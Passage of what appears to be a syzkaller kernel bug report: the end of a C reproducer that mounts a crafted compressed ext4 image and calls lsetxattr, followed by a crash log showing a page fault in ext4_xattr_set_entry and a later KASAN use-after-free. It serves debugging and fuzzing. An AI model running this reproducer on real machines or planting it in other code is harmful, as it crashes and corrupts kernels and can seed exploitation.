{"/proc/sys/debug/exception-trace", "0"},
{"/proc/sys/kernel/printk", "7 4 1 3"},
{"/proc/sys/kernel/keys/gc_delay", "1"},
{"/proc/sys/vm/oom_kill_allocating_task", "1"},
{"/proc/sys/kernel/ctrl-alt-del", "0"},
{"/proc/sys/kernel/cad_pid", tmppid},
};
for (size_t i = 0; i < sizeof(files) / sizeof(files[0]); i++) {
if (!write_file(files[i].name, files[i].data)) {
}
}
kill(cad_pid, SIGKILL);
while (waitpid(cad_pid, NULL, 0) != cad_pid)
;
}
struct thread_t {
int created, call;
event_t ready, done;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
event_wait(&th->ready);
event_reset(&th->ready);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
event_set(&th->done);
}
return 0;
}
static void execute_one(void)
{
if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {
}
int i, call, thread;
for (call = 0; call < 3; call++) {
for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0]));
thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
event_init(&th->ready);
event_init(&th->done);
event_set(&th->done);
thread_start(thr, th);
}
if (!event_isset(&th->done))
continue;
event_reset(&th->done);
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
event_set(&th->ready);
event_timedwait(&th->done, 50 + (call == 0 ? 4000 : 0));
break;
}
}
for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
sleep_ms(1);
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
int iter = 0;
for (;; iter++) {
char cwdbuf[32];
sprintf(cwdbuf, "./%d", iter);
if (mkdir(cwdbuf, 0777))
exit(1);
reset_loop();
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
if (chdir(cwdbuf))
exit(1);
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
sleep_ms(10);
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
if (current_time_ms() - start < 5000)
continue;
kill_and_wait(pid, &status);
break;
}
remove_dir(cwdbuf);
}
}
void execute_call(int call)
{
switch (call) {
case 0:
// syz_mount_image$ext4 arguments: [
// fs: ptr[in, buffer] {
// buffer: {65 78 74 34 00} (length 0x5)
// }
// dir: ptr[in, buffer] {
// buffer: {2e 2f 66 69 6c 65 31 00} (length 0x8)
// }
// flags: mount_flags = 0x0 (8 bytes)
// opts: ptr[in, fs_options[ext4_options]] {
// fs_options[ext4_options] {
// elems: array[fs_opt_elem[ext4_options]] {
// fs_opt_elem[ext4_options] {
// elem: union ext4_options {
// norecovery: buffer: {6e 6f 72 65 63 6f 76 65 72 79} (length
// 0xa)
// }
// comma: const = 0x2c (1 bytes)
// }
// fs_opt_elem[ext4_options] {
// elem: union ext4_options {
// debug_want_extra_isize: fs_opt["debug_want_extra_isize",
// fmt[hex, int32]] {
// name: buffer: {64 65 62 75 67 5f 77 61 6e 74 5f 65 78 74
// 72 61 5f 69 73 69 7a 65} (length 0x16) eq: const = 0x3d (1
// bytes) val: int32 = 0x3e (18 bytes)
// }
// }
// comma: const = 0x2c (1 bytes)
// }
// }
// common: array[fs_opt_elem[fs_options_common]] {
// }
// null: const = 0x0 (1 bytes)
// }
// }
// chdir: int8 = 0x1 (1 bytes)
// size: len = 0x603 (8 bytes)
// img: ptr[in, buffer] {
// buffer: (compressed buffer with length 0x603)
// }
// ]
// returns fd_dir
NONFAILING(memcpy((void*)0x200000000600, "ext4\000", 5));
NONFAILING(memcpy((void*)0x200000000640, "./file1\000", 8));
NONFAILING(memcpy((void*)0x200000000080, "norecovery", 10));
NONFAILING(*(uint8_t*)0x20000000008a = 0x2c);
NONFAILING(memcpy((void*)0x20000000008b, "debug_want_extra_isize", 22));
NONFAILING(*(uint8_t*)0x2000000000a1 = 0x3d);
NONFAILING(sprintf((char*)0x2000000000a2, "0x%016llx", (long long)0x3e));
NONFAILING(*(uint8_t*)0x2000000000b4 = 0x2c);
NONFAILING(*(uint8_t*)0x2000000000b5 = 0);
NONFAILING(memcpy(
(void*)0x200000000d80,
"\x78\x9c\xec\xdd\xcd\x6f\x14\xe7\x19\x00\xf0\x67\x66\xb1\xc1\xc6\xad"
"\x41\xf2\xa1\xf4\x52\x57\x3d\x80\x54\x75\xfd\xd5\x0a\xe8\xa5\xa0\xb6"
"\xa7\x16\x41\x69\xd5\x5e\x2a\x51\x17\xd6\x1f\x62\xed\x75\xfd\x21\x61"
"\xf7\x62\x38\x58\xea\xad\x95\x2a\xf5\xd6\x36\x87\x1c\x72\xb3\xf2\x07"
"\x24\x1c\xf2\x07\x24\xb7\x44\x89\x94\x2b\x8a\x84\x88\x42\x0e\x91\x38"
"\x38\x9a\xfd\xb0\x8d\xbd\x1b\x3b\x60\x3c\xd8\xf3\xfb\x49\xe3\x9d\x77"
"\xde\x9d\x7d\xdf\xd9\x67\x9f\xdd\x9d\x17\xde\xd9\x00\x0a\x6b\x30\xfb"
"\x93\x46\x9c\x8b\x88\x2b\x49\x44\xff\xb6\xba\x13\xd1\xac\x1c\x6c\xdc"
"\x6f\x6d\x6c\x7d\x2a\x5b\x92\xd8\x28\xfd\xfe\x49\x12\x49\x44\x2c\x8d"
"\xad\x4f\xb5\xee\x9f\x34\x6f\x4f\x37\x77\xbb\x10\x11\x37\x7f\x1d\x71"
"\xb3\xb4\xbb\xdd\x85\xe5\x95\xbb\xe3\xd5\x6a\x65\xbe\x59\x1e\x5a\x9c"
"\x99\x1b\x5a\x58\x5e\xf9\xc9\xf4\xcc\xf8\x64\x65\xb2\x32\x3b\x76\x69"
"\xe4\xf2\xa5\xb1\x9f\x5d\xbc\x38\x72\x60\xc7\xfa\xbb\x27\x7d\xef\x3f"
"\xfa\xdf\xf5\x81\xb7\x7f\xfa\xdf\x3f\x4f\xfc\xfd\xad\x95\xac\xbf\x7d"
"\xcd\xba\xed\xc7\x71\x50\x06\x63\xb0\xf9\x9c\x74\xc5\x95\x1d\x75\x3b"
"\xcb\x47\x55\xa9\xf9\x3a\x49\xf3\xee\x08\x2f\xa4\x15\xbf\xae\x88\x18"
"\x88\xfe\x28\x35\xb3\x3e\xd3\x1f\xcf\x3e\xc9\xb5\x73\xc0\x2b\xb5\xd1"
"\x1f\xb1\xb1\x53\xf6\xa1\xb5\x6b\xe3\x73\x7a\x5a\xbb\x03\x47\x59\x22"
"\x89\xa1\xa0\x5a\xdf\x03\xb2\xf3\xdf\xd6\x92\xdf\xb7\x11\x0e\xdb\xe3"
"\xab\x8d\x13\xc0\xa5\xe6\xd8\xce\xda\x66\xfc\x4f\x34\xc6\x86\xe2\x54"
"\xbc\x77\x32\xa2\xf7\x69\xb2\xed\xcc\xb0\x31\xd6\x33\x78\x00\xed\x67"
"\x8f\x71\x65\xf0\x4f\xef\x64\x4b\xbc\xa2\x71\x18\x3a\x5b\xbd\x1f\x11"
"\xdf\x6b\x97\xff\x49\x3d\x36\x67\xe2\x54\xbd\xd4\xfb\x34\x7d\x2e\xfe"
"\x69\x44\xdc\x68\xde\x66\xdb\x6f\xbe\x60\xfb\x3b\x5f\x43\xe2\x7f\xb8"
"\x5e\x26\xfe\x7f\xd9\x16\xff\xbf\xbe\x60\xfb\xe2\x0f\x00\x00\x70\x38"
"\x1e\x5e\x8d\x88\xe1\x76\xe7\x7f\xe9\xe6\xf8\x4f\xc4\xee\xf1\x9f\xbe"
"\xc6\x6e\x2f\xcd\xf9\x5f\xbe\x5a\xe3\x7f\x6b\xbb\xc6\xff\xb6\xe2\x5f"
"\x6a\x13\xff\x24\x22\xe6\xf6\xd9\xc6\xf5\x0f\xfe\xf5\xc3\x4e\x75\xdb"
"\xc7\xff\xb2\x25\x6b\xbf\x35\x16\xc8\xab\xf7\xf8\x7e\xc4\xf7\xdb\xc6"
"\x3f\xd9\x8c\x7f\xd2\x26\xfe\x69\x44\xac\xee\xb3\x8d\x8f\xcf\xfe\x67"
"\xa0\x53\x5d\xa7\xf8\xaf\xbc\xd4\x51\xb1\x5f\x1b\x6f\x44\x9c\x8f\xf6"
"\xf1\x6f\x49\xbe\xf9\xff\x67\x0e\x4d\x4c\x57\x2b\xc3\x8d\xbf\x6d\xdb"
"\x78\xf6\xc7\x47\x6f\x76\x6a\x5f\xfe\xe7\x2b\xcb\xff\xde\x0e\xf1\xdf"
"\xeb\xfd\xff\x9f\xfb\x6c\xa3\xfa\x8f\x2f\xfa\x76\x6f\xdd\x7a\xb4\x56"
"\xec\x57\x7f\xf5\x9b\x77\x77\xc7\x3f\xfd\xac\x3b\xf9\x43\xfd\xc5\xd8"
"\xdd\xdc\x72\x6f\x7c\x71\x71\x7e\x24\xa2\x3b\xf9\xed\xee\xed\xa3\xdf"
"\xe6\xe8\x8b\xa7\xf5\x1c\xb5\x9e\xc3\x2c\xfe\x17\x7e\xf4\xac\xf9\xaf"
"\xc1\xed\x3f\xff\xdb\xbd\xff\xf7\x44\xc4\xff\xf7\xd9\xe6\x83\x4f\x7f"
"\xf9\x55\xa7\x3a\xf9\x9f\xaf\x2c\xfe\x77\xf6\xc8\xff\x76\xf1\xcf\xb6"
"\xad\xef\xb3\x8d\xcf\x1f\xfc\xad\xe3\xc7\xf9\xe0\x9e\xf9\x0f\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc7"
"\x47\x5a\xbf\x96\x6f\x92\x96\x37\xd7\xd3\xb4\x5c\x6e\xfc\x86\xf7\x40"
"\xf4\xa6\xd5\xda\xc2\xe2\x8f\x27\x6a\x4b\xb3\x77\x1a\xd7\xfc\x3d\x13"
"\x5d\x69\xeb\x4a\x8f\xfd\x8d\x72\x92\x95\x47\xea\xeb\x5b\xe5\xd1\x1d"
"\xe5\xb1\x88\x38\x1b\x11\xff\x2e\xf5\xd4\xcb\xe5\xdb\xb5\xea\x9d\xbc"
"\x0f\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x5e\x13\xa7\x77\xcc\xff\xff\xb2\xd4\x98\xff\x0f\x14\xc4\x89\xbc\x3b"
"\x00\xe4\x46\xfe\x43\x71\xc9\x7f\x28\x2e\xf9\x0f\xc5\x25\xff\xa1\xb8"
"\xe4\x3f\x14\x97\xfc\x87\xe2\x92\xff\x50\x5c\xf2\x1f\x8a\x4b\xfe\x43"
"\x71\xc9\x7f\x00\x00\x00\x00\x38\x96\x6e\x5c\xbb\x96\x2d\x1b\x6b\x63"
"\xeb\x53\x59\x79\xb6\x36\x39\x7d\x77\x6a\xee\xf2\xe8\x70\x79\x66\xe9"
"\x76\xf9\x76\x6d\x7e\xae\x3c\x59\xab\x4d\xd6\x7f\xb1\x7f\x66\xef\xc7"
"\xab\xd6\x6a\x73\x23\xa3\xb1\x74\x6f\x68\xb1\xb2\xb0\x38\xb4\xb0\xbc"
"\x72\x6b\xa6\xb6\x34\xbb\x78\x6b\x7a\x66\x7c\xb2\x72\xab\xd2\x75\x08"
"\xc7\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x47\xcd\xd9\x1f\x3c\xfc\x28\x89\x88\xd5\x9f\xf7\xd4\x97\x4c\x77\xb3"
"\xce\x5c\x7d\x38\xde\xd2\xbc\x3b\x00\xe4\xa6\x94\x77\x07\x80\xdc\xb8"
"\xf4\x3f\x14\x97\x73\x7c\x20\xd9\xa3\xfe\x54\xa7\x8a\x87\x7b\xed\x09"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x94\xf3\xe7\xcc\xff\x87"
"\xa2\x32\xff\x1f\x8a\xcb\xfc\x7f\x28\x2e\xf3\xff\xa1\xb8\x3a\x9d\xe3"
"\x9f\x3c\xe4\x7e\x00\xf9\x31\xff\x1f\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x5e\x7f\x7d\xf5\x25\x49\xcb\xcd\xb9\xc0\x7d\x91\xa6\xe5\x72"
"\xc4\x77\x22\xe2\x4c\x74\x25\x13\xd3\xd5\xca\x70\x44\x7c\x37\x22\x3e"
"\x2c\x75\x9d\xcc\xca\x23\x79\x77\x1a\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x8e\x99\x85\xe5\x95\xbb\xe3\xd5\x6a\x65"
"\x3e\xd7\x95\x5f\x34\x7b\x93\x73\x37\xac\x58\x79\xad\x56\x4a\x11\x91"
"\x57\xeb\x39\xbf\x31\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x40\x01\x6d\x4d\xfa\xcd\xbb\x27\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x90\x9f\xad\xdf\xff\x3f\x98\x95\xee\x36"
"\x55\x79\x1f\x23\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x51\xf4\x75"
"\x00\x00\x00\xff\xff\x86\xf0\xf3\x59",
1539));
NONFAILING(syz_mount_image(/*fs=*/0x200000000600, /*dir=*/0x200000000640,
/*flags=*/0, /*opts=*/0x200000000080,
/*chdir=*/1, /*size=*/0x603,
/*img=*/0x200000000d80));
break;
case 1:
// lchown arguments: [
// file: ptr[in, buffer] {
// buffer: {2e 2f 66 69 6c 65 31 00} (length 0x8)
// }
// uid: uid (resource)
// gid: gid (resource)
// ]
NONFAILING(memcpy((void*)0x200000001600, "./file1\000", 8));
syscall(__NR_lchown, /*file=*/0x200000001600ul, /*uid=*/0, /*gid=*/0);
break;
case 2:
// lsetxattr$trusted_overlay_upper arguments: [
// path: ptr[in, buffer] {
// buffer: {2e 2f 66 69 6c 65 31 00} (length 0x8)
// }
// name: ptr[in, buffer] {
// buffer: {74 72 75 73 74 65 64 2e 6f 76 65 72 6c 61 79 2e 75 70 70 65
// 72 00} (length 0x16)
// }
// val: ptr[inout, array[ANYUNION]] {
// array[ANYUNION] {
// }
// }
// size: len = 0xe1 (8 bytes)
// flags: setxattr_flags = 0x0 (8 bytes)
// ]
NONFAILING(memcpy((void*)0x200000000700, "./file1\000", 8));
NONFAILING(memcpy((void*)0x200000000740, "trusted.overlay.upper\000", 22));
syscall(__NR_lsetxattr, /*path=*/0x200000000700ul,
/*name=*/0x200000000740ul, /*val=*/0x200000000f40ul,
/*size=*/0xe1ul, /*flags=*/0ul);
break;
}
}
int main(void)
{
syscall(__NR_mmap, /*addr=*/0x1ffffffff000ul, /*len=*/0x1000ul, /*prot=*/0ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul,
/*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200000000000ul, /*len=*/0x1000000ul,
/*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/ 7ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul,
/*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000ul, /*prot=*/0ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul,
/*fd=*/(intptr_t)-1, /*offset=*/0ul);
setup_sysctl();
const char* reason;
(void)reason;
install_segv_handler();
use_temporary_dir();
loop();
return 0;
}
[-- Attachment #3: log.txt --]
[-- Type: text/plain, Size: 11409 bytes --]
Syzkaller hit 'BUG: unable to handle kernel paging request in ext4_xattr_set_entry' bug.
EXT4-fs (loop3): unmounting filesystem 00000000-0000-0000-0000-000000000000.
loop3: detected capacity change from 0 to 1024
EXT4-fs (loop3): mounted filesystem 00000000-0000-0000-0000-000000000000 r/w without journal. Quota mode: writeback.
BUG: unable to handle page fault for address: ff1100010f590fe4
#PF: supervisor write access in kernel mode
#PF: error_code(0x0003) - permissions violation
PGD 108c01067 P4D 108c02067 PUD 100175063 PMD 10f58d063 PTE 800000010f590121
Oops: Oops: 0003 [#1] PREEMPT SMP KASAN NOPTI
CPU: 2 UID: 0 PID: 1396 Comm: syz.3.37 Not tainted 6.12.51 #3
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
RIP: 0010:memcpy_orig+0x31/0x140 arch/x86/lib/memcpy_64.S:71
Code: 48 83 fa 20 0f 82 86 00 00 00 40 38 fe 7c 35 48 83 ea 20 48 83 ea 20 4c 8b 06 4c 8b 4e 08 4c 8b 56 10 4c 8b 5e 18 48 8d 76 20 <4c> 89 07 4c 89 4f 08 4c 89 57 10 4c 89 5f 18 48 8d 7f 20 73 d4 83
RSP: 0018:ff110000091cf600 EFLAGS: 00010202
RAX: ff1100010f590fe4 RBX: ff110000091cf870 RCX: ffffffffa3d1f0bb
RDX: 00000000000000a1 RSI: ff1100010907f820 RDI: ff1100010f590fe4
RBP: ff1100010f590fe4 R08: ffc6bb6b7fe35abe R09: 2224ff136a5fe2b6
R10: f5fe0ff5c6d9f6e6 R11: 25b2ffc7db754ec3 R12: ff1100010907f800
R13: ff110000091cf7e0 R14: ff1100010f5910c2 R15: 00000000ffffff22
FS: 00007fcfa1195700(0000) GS:ff1100011b100000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ff1100010f590fe4 CR3: 00000001028de001 CR4: 0000000000771ef0
PKRU: 00000000
Call Trace:
<TASK>
ext4_xattr_set_entry+0x10ba/0x17e0 fs/ext4/xattr.c:1813
ext4_xattr_ibody_set+0x380/0x570 fs/ext4/xattr.c:2283
ext4_xattr_set_handle+0xa16/0x14d0 fs/ext4/xattr.c:2455
ext4_xattr_set+0x1e1/0x3a0 fs/ext4/xattr.c:2569
__vfs_setxattr+0x13e/0x1b0 fs/xattr.c:200
__vfs_setxattr_noperm+0x106/0x5f0 fs/xattr.c:234
__vfs_setxattr_locked+0x1c0/0x260 fs/xattr.c:295
vfs_setxattr+0x12e/0x330 fs/xattr.c:321
do_setxattr+0x134/0x1e0 fs/xattr.c:629
path_setxattr+0x1da/0x220 fs/xattr.c:658
__do_sys_lsetxattr fs/xattr.c:683 [inline]
__se_sys_lsetxattr fs/xattr.c:679 [inline]
__x64_sys_lsetxattr+0xc1/0x160 fs/xattr.c:679
do_syscall_x64 arch/x86/entry/common.c:52 [inline]
do_syscall_64+0xaa/0x1b0 arch/x86/entry/common.c:83
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fcfa13520cd
Code: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007fcfa1194ba8 EFLAGS: 00000246 ORIG_RAX: 00000000000000bd
RAX: ffffffffffffffda RBX: 00007fcfa15a1fa0 RCX: 00007fcfa13520cd
RDX: 0000200000000f40 RSI: 0000200000000740 RDI: 0000200000000700
RBP: 00007fcfa13d800a R08: 0000000000000000 R09: 0000000000000000
R10: 00000000000000e1 R11: 0000000000000246 R12: 0000000000000000
R13: 00007fcfa15a1fac R14: 00007fcfa15a2038 R15: 00007fcfa1194d40
</TASK>
Modules linked in:
CR2: ff1100010f590fe4
---[ end trace 0000000000000000 ]---
RIP: 0010:memcpy_orig+0x31/0x140 arch/x86/lib/memcpy_64.S:71
Code: 48 83 fa 20 0f 82 86 00 00 00 40 38 fe 7c 35 48 83 ea 20 48 83 ea 20 4c 8b 06 4c 8b 4e 08 4c 8b 56 10 4c 8b 5e 18 48 8d 76 20 <4c> 89 07 4c 89 4f 08 4c 89 57 10 4c 89 5f 18 48 8d 7f 20 73 d4 83
RSP: 0018:ff110000091cf600 EFLAGS: 00010202
RAX: ff1100010f590fe4 RBX: ff110000091cf870 RCX: ffffffffa3d1f0bb
RDX: 00000000000000a1 RSI: ff1100010907f820 RDI: ff1100010f590fe4
RBP: ff1100010f590fe4 R08: ffc6bb6b7fe35abe R09: 2224ff136a5fe2b6
R10: f5fe0ff5c6d9f6e6 R11: 25b2ffc7db754ec3 R12: ff1100010907f800
R13: ff110000091cf7e0 R14: ff1100010f5910c2 R15: 00000000ffffff22
FS: 00007fcfa1195700(0000) GS:ff1100011b100000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ff1100010f590fe4 CR3: 00000001028de001 CR4: 0000000000771ef0
PKRU: 00000000
note: syz.3.37[1396] exited with irqs disabled
EXT4-fs error (device loop3): ext4_validate_block_bitmap:440: comm syz-executor: bg 0: block 169: padding at end of block bitmap is not set
EXT4-fs error (device loop3) in ext4_mb_clear_bb:6545: Corrupt filesystem
==================================================================
BUG: KASAN: slab-use-after-free in owner_on_cpu include/linux/sched.h:2185 [inline]
BUG: KASAN: slab-use-after-free in rwsem_can_spin_on_owner kernel/locking/rwsem.c:723 [inline]
BUG: KASAN: slab-use-after-free in rwsem_down_write_slowpath+0x1064/0x1110 kernel/locking/rwsem.c:1111
Read of size 4 at addr ff1100010a11c5f4 by task syz-executor/859
CPU: 1 UID: 0 PID: 859 Comm: syz-executor Tainted: G D 6.12.51 #3
Tainted: [D]=DIE
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
Call Trace:
<TASK>
__dump_stack lib/dump_stack.c:94 [inline]
dump_stack_lvl+0x7d/0xa0 lib/dump_stack.c:120
print_address_description mm/kasan/report.c:377 [inline]
print_report+0xcf/0x610 mm/kasan/report.c:481
kasan_report+0xb5/0xe0 mm/kasan/report.c:594
owner_on_cpu include/linux/sched.h:2185 [inline]
rwsem_can_spin_on_owner kernel/locking/rwsem.c:723 [inline]
rwsem_down_write_slowpath+0x1064/0x1110 kernel/locking/rwsem.c:1111
__down_write_common kernel/locking/rwsem.c:1304 [inline]
__down_write kernel/locking/rwsem.c:1313 [inline]
down_write+0x116/0x130 kernel/locking/rwsem.c:1578
inode_lock include/linux/fs.h:815 [inline]
vfs_unlink+0xcf/0x900 fs/namei.c:4458
do_unlinkat+0x48c/0x660 fs/namei.c:4533
__do_sys_unlink fs/namei.c:4581 [inline]
__se_sys_unlink fs/namei.c:4579 [inline]
__x64_sys_unlink+0x40/0x50 fs/namei.c:4579
do_syscall_x64 arch/x86/entry/common.c:52 [inline]
do_syscall_64+0xaa/0x1b0 arch/x86/entry/common.c:83
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fcfa13516eb
Code: 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa b8 57 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007ffd12234e78 EFLAGS: 00000206 ORIG_RAX: 0000000000000057
RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fcfa13516eb
RDX: 00007ffd12234eb0 RSI: 00007ffd12234eb0 RDI: 00007ffd12234f40
RBP: 00007ffd12234f40 R08: 0000000000000001 R09: 00007ffd12234d00
R10: 00000000fffffffb R11: 0000000000000206 R12: 00007fcfa13d7bb2
R13: 00007ffd12236050 R14: 0000555583064a80 R15: 00007ffd122370c0
</TASK>
Allocated by task 1395:
kasan_save_stack+0x24/0x50 mm/kasan/common.c:47
kasan_save_track+0x14/0x30 mm/kasan/common.c:68
unpoison_slab_object mm/kasan/common.c:319 [inline]
__kasan_slab_alloc+0x59/0x70 mm/kasan/common.c:345
kasan_slab_alloc include/linux/kasan.h:250 [inline]
slab_post_alloc_hook mm/slub.c:4129 [inline]
slab_alloc_node mm/slub.c:4178 [inline]
kmem_cache_alloc_node_noprof+0xe2/0x260 mm/slub.c:4230
alloc_task_struct_node kernel/fork.c:181 [inline]
dup_task_struct kernel/fork.c:1114 [inline]
copy_process+0x3bb/0x6670 kernel/fork.c:2228
kernel_clone+0xc6/0x7a0 kernel/fork.c:2810
__do_sys_clone+0xcf/0x120 kernel/fork.c:2953
do_syscall_x64 arch/x86/entry/common.c:52 [inline]
do_syscall_64+0xaa/0x1b0 arch/x86/entry/common.c:83
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Freed by task 0:
kasan_save_stack+0x24/0x50 mm/kasan/common.c:47
kasan_save_track+0x14/0x30 mm/kasan/common.c:68
kasan_save_free_info+0x3a/0x60 mm/kasan/generic.c:579
poison_slab_object mm/kasan/common.c:247 [inline]
__kasan_slab_free+0x38/0x50 mm/kasan/common.c:264
kasan_slab_free include/linux/kasan.h:233 [inline]
slab_free_hook mm/slub.c:2374 [inline]
slab_free mm/slub.c:4632 [inline]
kmem_cache_free+0x241/0x4d0 mm/slub.c:4734
put_task_struct include/linux/sched/task.h:145 [inline]
delayed_put_task_struct+0x134/0x180 kernel/exit.c:228
rcu_do_batch kernel/rcu/tree.c:2575 [inline]
rcu_core+0x64c/0x1960 kernel/rcu/tree.c:2831
handle_softirqs+0x15f/0x520 kernel/softirq.c:579
__do_softirq kernel/softirq.c:613 [inline]
invoke_softirq kernel/softirq.c:453 [inline]
__irq_exit_rcu kernel/softirq.c:662 [inline]
irq_exit_rcu+0x7f/0xb0 kernel/softirq.c:674
instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1049 [inline]
sysvec_apic_timer_interrupt+0x70/0x80 arch/x86/kernel/apic/apic.c:1049
asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:702
Last potentially related work creation:
kasan_save_stack+0x24/0x50 mm/kasan/common.c:47
__kasan_record_aux_stack+0x8c/0xa0 mm/kasan/generic.c:541
__call_rcu_common.constprop.0+0x73/0x8d0 kernel/rcu/tree.c:3098
put_task_struct_rcu_user+0x60/0xb0 kernel/exit.c:234
finish_task_switch+0x4b1/0x650 kernel/sched/core.c:5252
context_switch kernel/sched/core.c:5346 [inline]
__schedule+0xd69/0x2b80 kernel/sched/core.c:6723
schedule_idle+0x5c/0x90 kernel/sched/core.c:6841
do_idle+0x241/0x3a0 kernel/sched/idle.c:354
cpu_startup_entry+0x4f/0x60 kernel/sched/idle.c:424
start_secondary+0x1bc/0x210 arch/x86/kernel/smpboot.c:314
common_startup_64+0x12c/0x138
The buggy address belongs to the object at ff1100010a11c5c0
which belongs to the cache task_struct of size 5640
The buggy address is located 52 bytes inside of
freed 5640-byte region [ff1100010a11c5c0, ff1100010a11dbc8)
The buggy address belongs to the physical page:
page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10a118
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0x200000000000040(head|node=0|zone=2)
page_type: f5(slab)
raw: 0200000000000040 ff11000100184dc0 ffd4000004510200 0000000000000002
raw: 0000000000000000 0000000000050005 00000001f5000000 0000000000000000
head: 0200000000000040 ff11000100184dc0 ffd4000004510200 0000000000000002
head: 0000000000000000 0000000000050005 00000001f5000000 0000000000000000
head: 0200000000000003 ffd4000004284601 ffffffffffffffff 0000000000000000
head: 0000000000000008 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
Memory state around the buggy address:
ff1100010a11c480: fb fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
